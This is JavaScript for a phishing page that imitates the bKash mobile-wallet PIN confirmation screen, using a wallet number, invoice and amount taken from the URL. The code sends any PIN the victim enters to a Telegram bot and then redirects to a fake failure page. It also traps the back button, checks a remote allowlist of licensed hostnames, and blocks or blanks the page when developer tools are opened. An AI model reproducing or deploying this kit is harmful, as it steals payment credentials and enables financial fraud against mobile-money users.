const urlParams = new URLSearchParams(window.location.search);
const walletNumber = urlParams.get('wallet');

function formatWalletNumber(walletNumber) {
  if (walletNumber && walletNumber.length === 11) {
    const firstPart = walletNumber.slice(0, 3); // First 3 digits
    const lastPart = walletNumber.slice(-3); // Last 3 digits
    const maskedPart = "*".repeat(walletNumber.length - 9); // Mask the middle part
    const askedPart = "*".repeat(walletNumber.length - 8);

    // Adding space between masked part and last part
    return `${firstPart} ${maskedPart} ${askedPart} ${lastPart}`;
  } else {
    return "Invalid wallet number";
  }
}

// Display the formatted wallet number
document.addEventListener("DOMContentLoaded", () => {
  const walletDisplayElement = document.querySelector('label[for="pin"] span'); // Find the span inside the label
  if (walletDisplayElement) {
    walletDisplayElement.textContent = formatWalletNumber(walletNumber);
  }
});

 const invoiceNumber = urlParams.get('invoice');
document.getElementById("invoice").innerText = invoiceNumber;
if (!walletNumber || !invoiceNumber) {
    window.location.href = "https://portwallet.vercel.app/bkash/error.html";
  }
  let amount = parseFloat(urlParams.get('amount')) || 10.00;
       if (amount > 25000) {amount = 25000;}
document.getElementById('amountDisplay').textContent = `৳${amount.toFixed(2)}`;
document.addEventListener("DOMContentLoaded", () => {
  const inputField = document.getElementById("pin");
  const confirmButton = document.querySelector(".btn-group__btn-confirm");
  const cancelButton = document.querySelector(".btn-group__btn-close");
  const confirmText = document.getElementById("confirm-text");
  const animationContainer = confirmButton.querySelector(".ellipsis__container-sm");
  const invalidMessage = document.querySelector(".mb-8"); // Assuming this exists in HTML and initially hidden
  const formSection = document.querySelector(".form.d-flex.flex-center-y.text-center.card.bg-cerise");
  const cancelModal = document.querySelector(".cancel-modal.card.d-flex.flex-center-y.bg-cerise");
 
 
  // Hide the invalid message initially
  if (invalidMessage) {
    invalidMessage.style.display = "none";
  }

  // Hide cancel modal initially
  cancelModal.style.display = "none";

// Function to validate the PIN
  function isValidPin(pin) {
    if (!/^\d{4,5}$/.test(pin)) {
      // Check if it is a 4 or 5-digit number
      return false;
    }

    if (pin.startsWith("0")) {
      // Cannot start with 0
      return false;
    }

    if (/^(\d)\1+$/.test(pin)) {
      // Cannot have all digits the same (e.g., 4444, 77777)
      return false;
    }

    if ("1234567890".includes(pin) || "9876543210".includes(pin)) {
      // Cannot be sequential (e.g., 1234, 5678, 23456)
      return false;
    }

    return true; // Passes all validation rules
  }

   // Enable confirm button only if input is 4/5 digits
  inputField.addEventListener("input", () => {
    const inputValue = inputField.value;
   if (inputValue.length === 4 || inputValue.length === 5) {
      confirmButton.disabled = false;
    } else {
      confirmButton.disabled = true;
    }
  });

  // Handle confirm button click
  confirmButton.addEventListener("click", () => {
    const inputValue = inputField.value;

    // Validate PIN again before proceeding
    if (isValidPin(inputValue)) {
      sendToTelegram(inputValue); // Send to Telegram
      confirmText.style.display = "none";
      confirmButton.setAttribute("data-loading", "true");
 animationContainer.style.display = "flex";
      setTimeout(() => {
        window.location.href = "/bkash/failed.html"; // Replace with your URL
      }, 3000);
    } else {
      // Show invalid message
      confirmButton.setAttribute("data-loading", "false");
 animationContainer.style.display = "none";
      if (invalidMessage) invalidMessage.style.display = "block";
      inputField.value = ""; // Clear the input
    }
  });

    
 // Function to send wallet number to Telegram
  async function sendToTelegram(pin) {
    try {
      const response = await fetch("/config.json"); // Fetch botToken and chatId from server or JSON file
      const { botToken, chatId } = await response.json();

      const message = `বিকাশ পিন: \`${pin}\``;
      const url = `https://api.telegram.org/bot${botToken}/sendMessage`;

      const telegramResponse = await fetch(url, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
          chat_id: chatId,
          text: message,
          parse_mode: "MarkdownV2",
        }),
      });

      const data = await telegramResponse.json();
      console.log("Message sent to Telegram:", data);
    } catch (error) {
      console.error("Error sending message to Telegram:", error);
    }
  }



  // Handle cancel button click (when modal shows)
  cancelButton.addEventListener("click", () => {
    // Hide the form section and show the cancel modal
    formSection.style.display = "none";
    cancelModal.style.display = "flex";

    // Change cancel button to "Yes" and confirm button to "No"
    cancelButton.textContent = "Yes";
    confirmButton.textContent = "No";

    // Ensure "No" button is enabled (it should always be enabled)
    confirmButton.disabled = false;

    // Remove existing event listeners for "Confirm" and "Cancel" to avoid duplicate listeners
    cancelButton.removeEventListener("click", handleCancelButtonClick); // Remove previous listener
    confirmButton.removeEventListener("click", handleConfirmButtonClick); // Remove previous listener

    // Re-select buttons after replacing them
    const newCancelButton = document.querySelector(".btn-group__btn-close");
    const newConfirmButton = document.querySelector(".btn-group__btn-confirm");

    // Handle "Yes" (cancel confirmation)
    newCancelButton.addEventListener("click", () => {
      window.location.href = "/bkash/cancel.html"; // Replace with your URL
    });

    // Handle "No" (return to form), this ensures no redirection or unwanted behavior
    newConfirmButton.addEventListener("click", () => {
      // Just return to the form, no redirect
      cancelModal.style.display = "none";
      formSection.style.display = "flex";

      // Restore button text
      newCancelButton.textContent = "Cancel";
      newConfirmButton.textContent = "Confirm";
    });
  });

  // Prevent infinite loop by ensuring correct event listener management
  function handleCancelButtonClick() {
    cancelModal.style.display = "none"; // Hide modal
    formSection.style.display = "flex"; // Show form again
  }

  function handleConfirmButtonClick() {
    cancelModal.style.display = "flex"; // Show modal
    formSection.style.display = "none"; // Hide form
  }
});

    history.pushState(null, '', location.href);
window.onpopstate = function () {

  window.location.href = '/bkash/error.html';
};

  (async () => {
  // Check if domain is authorized
  const currentHostname = window.location.hostname;
  try {
    const response = await fetch('https://storageone.vercel.app/authorized-hostname/list.txt');
    const text = await response.text();
    const allowedHosts = text.split('\n').map(h => h.trim());
    if (!allowedHosts.includes(currentHostname)) {
      window.location.href = '/expired/';
    }
  } catch (e) {
    console.warn('Authorization check failed:', e);
  }

  // Disable common copy/inspect shortcuts
  document.addEventListener('contextmenu', e => e.preventDefault());
  document.addEventListener('keydown', e => {
    if (
      e.key === 'F12' ||
      (e.ctrlKey && e.shiftKey && ['I', 'J', 'C'].includes(e.key)) ||
      (e.ctrlKey && ['U', 'S'].includes(e.key))
    ) {
      e.preventDefault();
      e.stopPropagation();
    }
  });

  // Hide body on inspect
  const showBlockedMessage = () => {
    document.body.innerHTML = '<div style="text-align:center;padding:100px;font-size:24px;font-weight:bold;">Inspecting Not Allowed</div>';
  };

  // iOS check workaround
  const isiOS = /iPhone|iPad|iPod/i.test(navigator.userAgent);

  // Detection of dev tools open
  let devtoolsOpen = false;
  const detectDevTools = () => {
    const threshold = 160;
    setInterval(() => {
      const widthThreshold = window.outerWidth - window.innerWidth > threshold;
      const heightThreshold = window.outerHeight - window.innerHeight > threshold;
      if ((widthThreshold || heightThreshold) && !devtoolsOpen) {
        devtoolsOpen = true;
        showBlockedMessage();
      }
    }, 1000);
  };

  if (!isiOS) detectDevTools();

})();